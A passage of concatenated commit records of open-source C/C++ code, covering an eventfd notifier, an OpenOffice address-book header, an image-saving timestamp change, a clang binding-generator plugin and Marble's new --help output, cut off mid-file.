{}\n};\n\nstatic void\nnotify_event_callback(int fd, gcc_unused short event, void *ctx)\n{\n Notify *notify = (Notify *)ctx;\n\n uint64_t value;\n (void)read(fd, &value, sizeof(value));\n\n if (notify->pending.exchange(false))\n notify->callback(notify->callback_ctx);\n}\n\nNotify *\nnotify_new(notify_callback_t callback, void *ctx, GError **error_r)\n{\n auto notify = new Notify();\n\n notify->callback = callback;\n notify->callback_ctx = ctx;\n\n notify->fd = eventfd(0, EFD_NONBLOCK|EFD_CLOEXEC);\n if (notify->fd < 0) {\n set_error_errno_msg(error_r, \"eventfd() failed\");\n return nullptr;\n }\n\n notify->event.Set(notify->fd, EV_READ|EV_PERSIST,\n notify_event_callback, notify);\n notify->event.Add();\n\n return notify;\n}\n\nvoid\nnotify_free(Notify *notify)\n{\n notify->event.Delete();\n close(notify->fd);\n\n delete notify;\n}\n\nvoid\nnotify_signal(Notify *notify)\n{\n if (!notify->pending.exchange(true)) {\n static constexpr uint64_t value = 1;\n (void)write(notify->fd, &value, sizeof(value));\n }\n}\n\nvoid\nnotify_enable(Notify *notify)\n{\n notify->event.Add();\n}\n\nvoid\nnotify_disable(Notify *notify)\n{\n notify->event.Delete();\n}\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * $RCSfile: MDatabaseMetaDataHelper.hxx,v $\n *\n * $Revision: 1.5 $\n *\n * last change: $Author: hjs $ $Date: 2004-06-25 18:31:40 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifndef _CONNECTIVITY_MAB_DATABASEMETADATAHELPER_HXX_\n#define _CONNECTIVITY_MAB_DATABASEMETADATAHELPER_HXX_\n\n \/*\n#ifndef _COM_SUN_STAR_SDBC_XRESULTSET_HPP_\n#include <com\/sun\/star\/sdbc\/XResultSet.hpp>\n#endif\n#ifndef _COM_SUN_STAR_SDBC_XROW_HPP_\n#include <com\/sun\/star\/sdbc\/XRow.hpp>\n#endif\n#ifndef _COM_SUN_STAR_SDBC_XRESULTSETMETADATASUPPLIER_HPP_\n#include <com\/sun\/star\/sdbc\/XResultSetMetaDataSupplier.hpp>\n#endif\n#ifndef _COM_SUN_STAR_SDBC_XCLOSEABLE_HPP_\n#include <com\/sun\/star\/sdbc\/XCloseable.hpp>\n#endif\n#ifndef _COM_SUN_STAR_SDBC_XCOLUMNLOCATE_HPP_\n#include <com\/sun\/star\/sdbc\/XColumnLocate.hpp>\n#endif\n#ifndef _COM_SUN_STAR_UTIL_XCANCELLABLE_HPP_\n#include <com\/sun\/star\/util\/XCancellable.hpp>\n#endif\n#ifndef _COM_SUN_STAR_SDBC_XWARNINGSSUPPLIER_HPP_\n#include <com\/sun\/star\/sdbc\/XWarningsSupplier.hpp>\n#endif\n#ifndef _COM_SUN_STAR_SDBC_XRESULTSETUPDATE_HPP_\n#include <com\/sun\/star\/sdbc\/XResultSetUpdate.hpp>\n#endif\n#ifndef _COM_SUN_STAR_SDBC_XROWUPDATE_HPP_\n#include <com\/sun\/star\/sdbc\/XRowUpdate.hpp>\n#endif\n#ifndef _CPPUHELPER_COMPBASE7_HXX_\n#include <cppuhelper\/compbase7.hxx>\n#endif\n*\/\n#ifndef _COMPHELPER_PROPERTY_ARRAY_HELPER_HXX_\n#include <comphelper\/proparrhlp.hxx>\n#endif\n \/*\n#ifndef _CONNECTIVITY_FILE_ASTATEMENT_HXX_\n#include \"file\/FStatement.hxx\"\n#endif\n#ifndef _CONNECTIVITY_COMMONTOOLS_HXX_\n#include \"connectivity\/CommonTools.hxx\"\n#endif\n*\/\n#ifndef _COMPHELPER_PROPERTYCONTAINER_HXX_\n#include <comphelper\/propertycontainer.hxx>\n#endif\n\n#ifndef _CONNECTIVITY_FDATABASEMETADATARESULTSET_HXX_\n#include \"FDatabaseMetaDataResultSet.hxx\"\n#endif\n\n#ifndef _CONNECTIVITY_MAB_CONNECTION_HXX_\n#include <MConnection.hxx>\n#endif\n#ifndef _COM_SUN_STAR_UNO_SEQUENCE_HXX_\n#include <com\/sun\/star\/uno\/Sequence.hxx>\n#endif\n\n\nnamespace connectivity\n{\n namespace mozab\n {\n class MDatabaseMetaDataHelper\n {\n public:\n MDatabaseMetaDataHelper( );\n ~MDatabaseMetaDataHelper();\n\n \/\/PROXIED_FUNCTION\n sal_Bool getTableStrings( OConnection* _pCon,\n ::std::vector< ::rtl::OUString >& _rStrings,\n ::std::vector< ::rtl::OUString >& _rTypes);\n\n sal_Bool getTables( OConnection* _pCon,\n const ::rtl::OUString& tableNamePattern,\n const ::com::sun::star::uno::Sequence< ::rtl::OUString >& types,\n ODatabaseMetaDataResultSet::ORows& _rRows);\n\n const ::rtl::OUString& getErrorString() { return m_aErrorString; }\n\n sal_Bool testLDAPConnection( OConnection* _pCon );\n sal_Bool NewAddressBook( OConnection* _pCon,const ::rtl::OUString & aTableName);\n\n private:\n sal_Bool m_bProfileExists ;\n ::std::vector< ::rtl::OUString > m_aTableNames;\n ::std::vector< ::rtl::OUString > m_aTableTypes;\n ::rtl::OUString m_aErrorString;\n void setAbSpecificError( OConnection* _pCon, sal_Bool bGivenURI );\n };\n }\n\n}\n#endif \/\/ _CONNECTIVITY_MAB_DATABASEMETADATAHELPER_HXX_\n\n<commit_msg>INTEGRATION: CWS mozab05 (1.5.46); FILE MERGED 2005\/01\/27 11:30:11 windly 1.5.46.2: #i41444# mozab crash on solaris sparc 2005\/01\/17 05:30:54 windly 1.5.46.1: #i20088# Detect Mozilla Thunderbird Address Book: patchs for connectivity<commit_after>\/*************************************************************************\n *\n * $RCSfile: MDatabaseMetaDataHelper.hxx,v $\n *\n * $Revision: 1.6 $\n *\n * last change: $Author: vg $ $Date: 2005-02-21 12:30:29 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifndef _CONNECTIVITY_MAB_DATABASEMETADATAHELPER_HXX_\n#define _CONNECTIVITY_MAB_DATABASEMETADATAHELPER_HXX_\n\n \/*\n#ifndef _COM_SUN_STAR_SDBC_XRESULTSET_HPP_\n#include <com\/sun\/star\/sdbc\/XResultSet.hpp>\n#endif\n#ifndef _COM_SUN_STAR_SDBC_XROW_HPP_\n#include <com\/sun\/star\/sdbc\/XRow.hpp>\n#endif\n#ifndef _COM_SUN_STAR_SDBC_XRESULTSETMETADATASUPPLIER_HPP_\n#include <com\/sun\/star\/sdbc\/XResultSetMetaDataSupplier.hpp>\n#endif\n#ifndef _COM_SUN_STAR_SDBC_XCLOSEABLE_HPP_\n#include <com\/sun\/star\/sdbc\/XCloseable.hpp>\n#endif\n#ifndef _COM_SUN_STAR_SDBC_XCOLUMNLOCATE_HPP_\n#include <com\/sun\/star\/sdbc\/XColumnLocate.hpp>\n#endif\n#ifndef _COM_SUN_STAR_UTIL_XCANCELLABLE_HPP_\n#include <com\/sun\/star\/util\/XCancellable.hpp>\n#endif\n#ifndef _COM_SUN_STAR_SDBC_XWARNINGSSUPPLIER_HPP_\n#include <com\/sun\/star\/sdbc\/XWarningsSupplier.hpp>\n#endif\n#ifndef _COM_SUN_STAR_SDBC_XRESULTSETUPDATE_HPP_\n#include <com\/sun\/star\/sdbc\/XResultSetUpdate.hpp>\n#endif\n#ifndef _COM_SUN_STAR_SDBC_XROWUPDATE_HPP_\n#include <com\/sun\/star\/sdbc\/XRowUpdate.hpp>\n#endif\n#ifndef _CPPUHELPER_COMPBASE7_HXX_\n#include <cppuhelper\/compbase7.hxx>\n#endif\n*\/\n#ifndef _COMPHELPER_PROPERTY_ARRAY_HELPER_HXX_\n#include <comphelper\/proparrhlp.hxx>\n#endif\n \/*\n#ifndef _CONNECTIVITY_FILE_ASTATEMENT_HXX_\n#include \"file\/FStatement.hxx\"\n#endif\n#ifndef _CONNECTIVITY_COMMONTOOLS_HXX_\n#include \"connectivity\/CommonTools.hxx\"\n#endif\n*\/\n#ifndef _COMPHELPER_PROPERTYCONTAINER_HXX_\n#include <comphelper\/propertycontainer.hxx>\n#endif\n\n#ifndef _CONNECTIVITY_FDATABASEMETADATARESULTSET_HXX_\n#include \"FDatabaseMetaDataResultSet.hxx\"\n#endif\n\n#ifndef _CONNECTIVITY_MAB_CONNECTION_HXX_\n#include <MConnection.hxx>\n#endif\n#ifndef _COM_SUN_STAR_UNO_SEQUENCE_HXX_\n#include <com\/sun\/star\/uno\/Sequence.hxx>\n#endif\n#ifndef _COM_SUN_STAR_MOZILLA_MOZILLPRODUCTTYPE_HPP_\n#include <com\/sun\/star\/mozilla\/MozillaProductType.hpp>\n#endif\n\n\nnamespace connectivity\n{\n namespace mozab\n {\n class MDatabaseMetaDataHelper\n {\n public:\n MDatabaseMetaDataHelper( );\n ~MDatabaseMetaDataHelper();\n\n \/\/\n sal_Bool getTableStrings( OConnection* _pCon,\n ::std::vector< ::rtl::OUString >& _rStrings,\n ::std::vector< ::rtl::OUString >& _rTypes);\n\n sal_Bool getTables( OConnection* _pCon,\n const ::rtl::OUString& tableNamePattern,\n const ::com::sun::star::uno::Sequence< ::rtl::OUString >& types,\n ODatabaseMetaDataResultSet::ORows& _rRows);\n\n const ::rtl::OUString& getErrorString() { return m_aErrorString; }\n\n sal_Bool testLDAPConnection( OConnection* _pCon );\n sal_Bool NewAddressBook( OConnection* _pCon,const ::rtl::OUString & aTableName);\n\n private:\n sal_Bool m_bProfileExists ;\n ::std::vector< ::rtl::OUString > m_aTableNames;\n ::std::vector< ::rtl::OUString > m_aTableTypes;\n ::rtl::OUString m_aErrorString;\n void setAbSpecificError( OConnection* _pCon, sal_Bool bGivenURI );\n ::com::sun::star::mozilla::MozillaProductType m_ProductType;\n ::rtl::OUString m_ProfileName;\n };\n }\n\n}\n#endif \/\/ _CONNECTIVITY_MAB_DATABASEMETADATAHELPER_HXX_\n\n<|endoftext|>"} {"text":"<commit_before>#include \"output.hpp\"\n#include <cmath>\n#include <cstdint>\n#include <vector>\n#include <ctime>\n#include <cstdio>\n#include \"math\/vec.hpp\"\n#include \"stb_image_write.h\"\n#include \"util.hpp\"\n#include \".\/srgb.hpp\"\n\nnamespace yks {\n\nstatic std::vector<uint8_t> encode_srgb(const std::vector<yks::vec3> fdata) {\n\tstd::vector<uint8_t> bdata(fdata.size() * 3);\n\tfor (size_t i = 0; i < fdata.size(); ++i) {\n\t\tbdata[i*3 + 0] = byte_from_linear(clamp(0.0f, fdata[i][0], 1.0f));\n\t\tbdata[i*3 + 1] = byte_from_linear(clamp(0.0f, fdata[i][1], 1.0f));\n\t\tbdata[i*3 + 2] = byte_from_linear(clamp(0.0f, fdata[i][2], 1.0f));\n\t}\n\treturn bdata;\n}\n\nvoid save_srgb_image(const std::vector<yks::vec3>& pixels, int width, int height) {\n\tstd::vector<uint8_t> image_byte_data = encode_srgb(pixels);\n\n\tstd::time_t t = std::time(nullptr);\n\tstd::tm* tm = std::localtime(&t);\n\n\tchar buffer[64];\n\tstd::sprintf(buffer, \"%04d-%02d-%02d_%02d-%02d_output.png\", tm->tm_year + 1900, tm->tm_mon + 1, tm->tm_mday, tm->tm_hour, tm->tm_min);\n\n\tstbi_write_png(buffer, width, height, 3, image_byte_data.data(), 0);\n}\n\n}\n<commit_msg>Add second to the file timestamp too.<commit_after>#include \"output.hpp\"\n#include <cmath>\n#include <cstdint>\n#include <vector>\n#include <ctime>\n#include <cstdio>\n#include \"math\/vec.hpp\"\n#include \"stb_image_write.h\"\n#include \"util.hpp\"\n#include \".\/srgb.hpp\"\n\nnamespace yks {\n\nstatic std::vector<uint8_t> encode_srgb(const std::vector<yks::vec3> fdata) {\n\tstd::vector<uint8_t> bdata(fdata.size() * 3);\n\tfor (size_t i = 0; i < fdata.size(); ++i) {\n\t\tbdata[i*3 + 0] = byte_from_linear(clamp(0.0f, fdata[i][0], 1.0f));\n\t\tbdata[i*3 + 1] = byte_from_linear(clamp(0.0f, fdata[i][1], 1.0f));\n\t\tbdata[i*3 + 2] = byte_from_linear(clamp(0.0f, fdata[i][2], 1.0f));\n\t}\n\treturn bdata;\n}\n\nvoid save_srgb_image(const std::vector<yks::vec3>& pixels, int width, int height) {\n\tstd::vector<uint8_t> image_byte_data = encode_srgb(pixels);\n\n\tstd::time_t t = std::time(nullptr);\n\tstd::tm* tm = std::localtime(&t);\n\n\tchar buffer[64];\n\tstd::sprintf(buffer, \"%04d-%02d-%02d_%02d-%02d-%02d_output.png\", tm->tm_year + 1900, tm->tm_mon + 1, tm->tm_mday, tm->tm_hour, tm->tm_min, tm->tm_sec);\n\n\tstbi_write_png(buffer, width, height, 3, image_byte_data.data(), 0);\n}\n\n}\n<|endoftext|>"} {"text":"<commit_before>\n\n#include \"util.hpp\"\n\n#include \"DiscoveryVisitor.hpp\"\n#include \"Export.hpp\"\n\n#include <clang\/Frontend\/FrontendPluginRegistry.h>\n\nusing namespace autobind;\n\nclass AutobindPluginAction: public clang::PluginASTAction\n{\nprotected:\n\tclang::ASTConsumer *CreateASTConsumer(clang::CompilerInstance &ci,\n\t llvm::StringRef path)\n\t{\n\t\treturn newASTConsumer([path, &ci](clang::ASTContext &ctx) {\n\t\t\tModuleManager mgr;\n\t\t\tdiscoverTranslationUnit(mgr, *ctx.getTranslationUnitDecl(), ci);\n\t\t\t\n\n\t\t\tfor(const auto &item : mgr.moduleStream())\n\t\t\t{\n\t\t\t\tmgr.module(item.first).setSourceTUPath(path);\n\t\t\t}\n\n\t\t\tmgr.codegen(std::cout);\n\t\t});\n\t}\n\n\tbool ParseArgs(const clang::CompilerInstance &ci,\n\t const std::vector<std::string> &args)\n\t{\n\t\treturn true;\n\t}\n\n\t\n};\n\n\nstatic clang::FrontendPluginRegistry::Add<AutobindPluginAction> registration(\"autobind\",\n \"automatically generate \"\n \"Python bindings\");\n\n\n\n\n\n<commit_msg>Make the plugin, which can now be loaded, somewhat functional.<commit_after>\n#include <string>\n#include <fstream>\n\n#include \"util.hpp\"\n\n#include \"DiscoveryVisitor.hpp\"\n#include \"Export.hpp\"\n\n#include <clang\/Frontend\/FrontendPluginRegistry.h>\n\nusing namespace autobind;\n\nclass AutobindPluginAction: public clang::PluginASTAction\n{\nprotected:\n\tclang::ASTConsumer *CreateASTConsumer(clang::CompilerInstance &ci,\n\t llvm::StringRef path)\n\t{\n\/\/ \t\treturn nullptr; \n\t\tstd::string pathString = path;\n\t\treturn newASTConsumer([pathString, &ci](clang::ASTContext &ctx) {\n\t\t\tModuleManager mgr;\n\t\t\tdiscoverTranslationUnit(mgr, *ctx.getTranslationUnitDecl(), ci);\n\n\n\t\t\tfor(const auto &item : mgr.moduleStream())\n\t\t\t{\n\t\t\t\tmgr.module(item.first).setSourceTUPath(pathString);\n\t\t\t}\n\n\t\t\tstd::ofstream outStream(\"\/tmp\/output.cpp\");\n\t\t\tmgr.codegen(outStream);\n\/\/ \t\t\tmgr.codegen(std::cout);\n\t\t});\n\t}\n\n\tbool ParseArgs(const clang::CompilerInstance &ci,\n\t const std::vector<std::string> &args)\n\t{\n\t\treturn true;\n\t}\n\n\n};\n\n\nstatic clang::FrontendPluginRegistry::Add<AutobindPluginAction> registration(\"autobind\",\n \"automatically generate \"\n \"Python bindings\");\n\n\n\n\n\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ This file is part of the Marble Virtual Globe.\n\/\/\n\/\/ This program is free software licensed under the GNU LGPL. You can\n\/\/ find a copy of this license in LICENSE.txt in the top directory of\n\/\/ the source code.\n\/\/\n\/\/ Copyright 2006-2007 Torsten Rahn <tackat@kde.org>\n\/\/ Copyright 2007 Inge Wallin <ingwa@kde.org>\n\/\/\n\n#include <QtGui\/QApplication>\n#include <QtCore\/QFile>\n#include <QtCore\/QDir>\n#include <QtCore\/QLocale>\n#include <QtCore\/QSettings>\n#include <QtCore\/QTranslator>\n#include <QtCore\/QProcessEnvironment>\n\n#include \"QtMainWindow.h\"\n\n#include \"MarbleDirs.h\"\n#include \"MarbleDebug.h\"\n#include \"MarbleTest.h\"\n#include \"MarbleLocale.h\"\n\n#ifdef STATIC_BUILD\n #include <QtCore\/QtPlugin>\n Q_IMPORT_PLUGIN(qjpeg)\n Q_IMPORT_PLUGIN(qsvg)\n#endif\n\n#ifdef Q_OS_MACX\n\/\/for getting app bundle path\n#include <ApplicationServices\/ApplicationServices.h>\n#endif\n\nusing namespace Marble;\n \nint main(int argc, char *argv[])\n{\n \/\/ The GraphicsSystem needs to be set before the instantiation of the\n \/\/ QApplication. Therefore we need to parse the current setting \n \/\/ in this unusual place :-\/\n QSettings * graphicsSettings = new QSettings(\"kde.org\", \"Marble Desktop Globe\");\n QString graphicsString = graphicsSettings->value(\"View\/graphicsSystem\", \"raster\").toString();\n delete graphicsSettings;\n QApplication::setGraphicsSystem( graphicsString );\n\n QApplication app(argc, argv);\n \/\/ Widget translation\n\n#ifdef Q_WS_MAEMO_5\n \/\/ Work around http:\/\/bugreports.qt.nokia.com\/browse\/QTBUG-1313\n QProcessEnvironment env = QProcessEnvironment::systemEnvironment();\n QString lang( \"C\" );\n QStringList const locales = QStringList() << \"LC_ALL\" << \"LC_MESSAGES\" << \"LANG\" << \"LANGUAGE\";\n foreach( const QString &locale, locales ) {\n if ( env.contains( locale ) && !env.value( locale ).isEmpty() ) {\n lang = env.value( locale, \"C\" );\n break;\n }\n }\n\n lang = lang.section( '_', 0, 0 );\n#else\n QString lang = QLocale::system().name().section('_', 0, 0);\n#endif\n QTranslator translator;\n translator.load( \"marble-\" + lang, MarbleDirs::path(QString(\"lang\") ) );\n app.installTranslator(&translator);\n\n \/\/ For non static builds on mac and win\n \/\/ we need to be sure we can find the qt image\n \/\/ plugins. In mac be sure to look in the\n \/\/ application bundle...\n\n#ifdef Q_WS_WIN\n QApplication::addLibraryPath( QApplication::applicationDirPath() \n + QDir::separator() + \"plugins\" );\n#endif\n#ifdef Q_OS_MACX\n QApplication::instance()->setAttribute(Qt::AA_DontShowIconsInMenus);\n qDebug(\"Adding qt image plugins to plugin search path...\");\n CFURLRef myBundleRef = CFBundleCopyBundleURL(CFBundleGetMainBundle());\n CFStringRef myMacPath = CFURLCopyFileSystemPath(myBundleRef, kCFURLPOSIXPathStyle);\n const char *mypPathPtr = CFStringGetCStringPtr(myMacPath,CFStringGetSystemEncoding());\n CFRelease(myBundleRef);\n CFRelease(myMacPath);\n QString myPath(mypPathPtr);\n \/\/ if we are not in a bundle assume that the app is built\n \/\/ as a non bundle app and that image plugins will be\n \/\/ in system Qt frameworks. If the app is a bundle\n \/\/ lets try to set the qt plugin search path...\n if (myPath.contains(\".app\"))\n {\n myPath += \"\/Contents\/plugins\";\n QApplication::addLibraryPath( myPath );\n qDebug( \"Added %s to plugin search path\", qPrintable( myPath ) );\n }\n#endif\n\n QString marbleDataPath;\n int dataPathIndex=0;\n MarbleGlobal::Profiles profiles = MarbleGlobal::detectProfiles();\n\n QStringList args = QApplication::arguments();\n\n for ( int i = 1; i < args.count(); ++i ) {\n const QString arg = args.at(i);\n\n if ( arg == \"--debug-info\" )\n {\n MarbleDebug::enable = true;\n }\n else if ( arg.startsWith( \"--marbledatapath=\", Qt::CaseInsensitive ) )\n {\n marbleDataPath = args.at(i).mid(17);\n }\n else if ( arg.compare( \"--marbledatapath\", Qt::CaseInsensitive ) == 0 ) {\n dataPathIndex = i + 1;\n marbleDataPath = args.value( dataPathIndex );\n ++i;\n }\n else if ( arg == \"--smallscreen\" ) {\n profiles |= MarbleGlobal::SmallScreen;\n }\n else if ( arg == \"--nosmallscreen\" ) {\n profiles &= ~MarbleGlobal::SmallScreen;\n }\n else if ( arg == \"--highresolution\" ) {\n profiles |= MarbleGlobal::HighResolution;\n }\n else if ( arg == \"--nohighresolution\" ) {\n profiles &= ~MarbleGlobal::HighResolution;\n }\n }\n MarbleGlobal::getInstance()->setProfiles( profiles );\n\n QLocale::MeasurementSystem const measurement = QLocale::system().measurementSystem();\n Marble::MeasureSystem const marbleMeasurement = measurement == QLocale::ImperialSystem ? Marble::Imperial : Marble::Metric;\n MarbleGlobal::getInstance()->locale()->setMeasureSystem( marbleMeasurement );\n\n MainWindow *window = new MainWindow( marbleDataPath );\n window->setAttribute( Qt::WA_DeleteOnClose, true );\n\n MarbleTest *marbleTest = new MarbleTest( window->marbleWidget() );\n\n\/\/ window->marbleWidget()->rotateTo( 0, 0, -90 );\n\/\/ window->show();\n\n for ( int i = 1; i < args.count(); ++i ) {\n const QString arg = args.at(i);\n if ( arg == \"--timedemo\" )\n {\n window->resize(900, 640);\n marbleTest->timeDemo();\n return 0;\n }\n else if( arg == \"--gpsdemo\" ) {\n window->resize( 900, 640 );\n marbleTest->gpsDemo();\n return 0;\n }\n else if( arg == \"--fps\" ) {\n window->marbleControl()->marbleWidget()->setShowFrameRate( true );\n }\n else if( arg == \"--enableCurrentLocation\" )\n {\n window->marbleControl()->setCurrentLocationTabShown(true);\n }\n else if( arg == \"--enableFileView\" )\n {\n window->marbleControl()->setFileViewTabShown(true);\n }\n else if ( arg == \"--tile-id\" )\n {\n\t window->marbleControl()->marbleWidget()->setShowTileId(true);\n }\n else if ( i != dataPathIndex && QFile::exists( arg ) )\n ( window->marbleControl() )->addGeoDataFile( arg );\n }\n\n delete marbleTest;\n\n return app.exec();\n}\n<commit_msg>Implement -h\/--help.<commit_after>\/\/\n\/\/ This file is part of the Marble Virtual Globe.\n\/\/\n\/\/ This program is free software licensed under the GNU LGPL. You can\n\/\/ find a copy of this license in LICENSE.txt in the top directory of\n\/\/ the source code.\n\/\/\n\/\/ Copyright 2006-2007 Torsten Rahn <tackat@kde.org>\n\/\/ Copyright 2007 Inge Wallin <ingwa@kde.org>\n\/\/\n\n#include <QtGui\/QApplication>\n#include <QtCore\/QFile>\n#include <QtCore\/QDir>\n#include <QtCore\/QLocale>\n#include <QtCore\/QSettings>\n#include <QtCore\/QTranslator>\n#include <QtCore\/QProcessEnvironment>\n\n#include \"QtMainWindow.h\"\n\n#include \"MarbleDirs.h\"\n#include \"MarbleDebug.h\"\n#include \"MarbleTest.h\"\n#include \"MarbleLocale.h\"\n\n#ifdef STATIC_BUILD\n #include <QtCore\/QtPlugin>\n Q_IMPORT_PLUGIN(qjpeg)\n Q_IMPORT_PLUGIN(qsvg)\n#endif\n\n#ifdef Q_OS_MACX\n\/\/for getting app bundle path\n#include <ApplicationServices\/ApplicationServices.h>\n#endif\n\nusing namespace Marble;\n \nint main(int argc, char *argv[])\n{\n \/\/ The GraphicsSystem needs to be set before the instantiation of the\n \/\/ QApplication. Therefore we need to parse the current setting \n \/\/ in this unusual place :-\/\n QSettings * graphicsSettings = new QSettings(\"kde.org\", \"Marble Desktop Globe\");\n QString graphicsString = graphicsSettings->value(\"View\/graphicsSystem\", \"raster\").toString();\n delete graphicsSettings;\n QApplication::setGraphicsSystem( graphicsString );\n\n QApplication app(argc, argv);\n \/\/ Widget translation\n\n#ifdef Q_WS_MAEMO_5\n \/\/ Work around http:\/\/bugreports.qt.nokia.com\/browse\/QTBUG-1313\n QProcessEnvironment env = QProcessEnvironment::systemEnvironment();\n QString lang( \"C\" );\n QStringList const locales = QStringList() << \"LC_ALL\" << \"LC_MESSAGES\" << \"LANG\" << \"LANGUAGE\";\n foreach( const QString &locale, locales ) {\n if ( env.contains( locale ) && !env.value( locale ).isEmpty() ) {\n lang = env.value( locale, \"C\" );\n break;\n }\n }\n\n lang = lang.section( '_', 0, 0 );\n#else\n QString lang = QLocale::system().name().section('_', 0, 0);\n#endif\n QTranslator translator;\n translator.load( \"marble-\" + lang, MarbleDirs::path(QString(\"lang\") ) );\n app.installTranslator(&translator);\n\n \/\/ For non static builds on mac and win\n \/\/ we need to be sure we can find the qt image\n \/\/ plugins. In mac be sure to look in the\n \/\/ application bundle...\n\n#ifdef Q_WS_WIN\n QApplication::addLibraryPath( QApplication::applicationDirPath() \n + QDir::separator() + \"plugins\" );\n#endif\n#ifdef Q_OS_MACX\n QApplication::instance()->setAttribute(Qt::AA_DontShowIconsInMenus);\n qDebug(\"Adding qt image plugins to plugin search path...\");\n CFURLRef myBundleRef = CFBundleCopyBundleURL(CFBundleGetMainBundle());\n CFStringRef myMacPath = CFURLCopyFileSystemPath(myBundleRef, kCFURLPOSIXPathStyle);\n const char *mypPathPtr = CFStringGetCStringPtr(myMacPath,CFStringGetSystemEncoding());\n CFRelease(myBundleRef);\n CFRelease(myMacPath);\n QString myPath(mypPathPtr);\n \/\/ if we are not in a bundle assume that the app is built\n \/\/ as a non bundle app and that image plugins will be\n \/\/ in system Qt frameworks. If the app is a bundle\n \/\/ lets try to set the qt plugin search path...\n if (myPath.contains(\".app\"))\n {\n myPath += \"\/Contents\/plugins\";\n QApplication::addLibraryPath( myPath );\n qDebug( \"Added %s to plugin search path\", qPrintable( myPath ) );\n }\n#endif\n\n QString marbleDataPath;\n int dataPathIndex=0;\n MarbleGlobal::Profiles profiles = MarbleGlobal::detectProfiles();\n\n QStringList args = QApplication::arguments();\n\n if ( args.contains( \"-h\" ) || args.contains( \"--help\" ) ) {\n qWarning() << \"Usage: marble [options] [files]\";\n qWarning();\n qWarning() << \"[files] can be zero, one or more .kml and\/or .gpx files to load and show.\";\n qWarning();\n qWarning() << \"general options:\";\n qWarning() << \" --marbledatapath=<path> .... Overwrite the compile-time path to map themes and other data\";\n qWarning() << \" --enableFileView ........... Add a tab on the left showing detailed information about loaded files\";\n qWarning();\n qWarning() << \"debug options:\";\n qWarning() << \" --debug-info ............... write (more) debugging information to the console\";\n qWarning() << \" --fps ...................... Show the paint performance (paint rate) in the top left corner\";\n qWarning() << \" --tile-id................... Write the identifier of texture tiles on top of them\";\n qWarning() << \" --timedemo ................. Measure the paint performance while moving the map and quit\";\n qWarning();\n qWarning() << \"profile options (note that marble should automatically detect which profile to use. Override that with the options below):\";\n qWarning() << \" --smallscreen .............. Enforce the profile for devices with small screens (e.g. smartphones)\";\n qWarning() << \" --highresolution ........... Enforce the profile for devices with high resolution (e.g. desktop computers)\";\n qWarning() << \" --nosmallscreen ............ Deactivate the profile for devices with small screens (e.g. smartphones)\";\n qWarning() << \" --nohighresolution ......... Deactivate the profile for devices with high resolution (e.g. desktop computers)\";\n\n return 0;\n }\n\n for ( int i = 1; i < args.count(); ++i ) {\n const QString arg = args.at(i);\n\n if ( arg == \"--debug-info\" )\n {\n MarbleDebug::enable = true;\n }\n else if ( arg.startsWith( \"--marbledatapath=\", 